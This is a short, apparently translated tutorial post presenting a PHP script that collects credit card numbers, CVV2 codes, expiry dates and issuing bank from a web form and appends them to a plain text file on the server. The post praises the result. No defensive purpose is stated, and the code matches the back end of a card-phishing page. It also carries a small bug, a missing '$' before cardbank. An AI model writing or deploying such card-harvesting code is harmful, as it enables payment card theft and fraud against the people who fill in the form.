The php code collects the form content and writes the code to the file

As for the content of the form, I won't say much more about it here, but the form's action=" getpost.php ", which means the file getpost.php. Post the contents of the file below.

 
<?php 
// Define the form content to collect  
$cardnum = $_POST['cardnum']; 
$cvv2 = $_POST['cvv2']; 
$month = $_POST['month']; 
$year = $_POST['year']; 
$cardbank = $_POST['cardbank']; 
// Define the content format for the collection  
$content = "Credit Card Number:".$cardnum.",Card Verification Number:".$cvv2.",Card Expiry Date:".$month."/ year:".$year.",IssuingBank:".cardbank; 
// Define the location of the file  
$compile_dir = "./txt.txt"; 
// Here's what it says PHP The code  
$file = fopen($compile_dir,"a+"); 
fwrite($file,$content); 
fclose($file); 
?> 

Finally, txt.txt will be created in the current directory and the information collected will be written to this file, which is quite good.
